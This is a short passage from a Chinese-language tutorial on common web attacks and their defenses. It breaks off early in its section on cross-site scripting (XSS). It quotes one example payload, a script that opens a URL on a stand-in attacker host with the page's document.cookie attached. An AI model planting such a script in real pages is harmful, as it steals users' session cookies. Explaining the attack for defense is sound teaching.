解密,常见web攻击手段及其防御方式

常见web攻击手段及其防御方式 一、XSS（跨站脚本攻击）概念：全称是跨站脚本攻击（Cross Site Scripting），指攻击者在网页中嵌入恶意脚本程序。案例：例如，在一个博客网站上，攻击者发布了一篇文章，内容包含恶意脚本window.open(“www.gongji.com?param=”+document.cookie)。若该内容未经处理直接存储到数...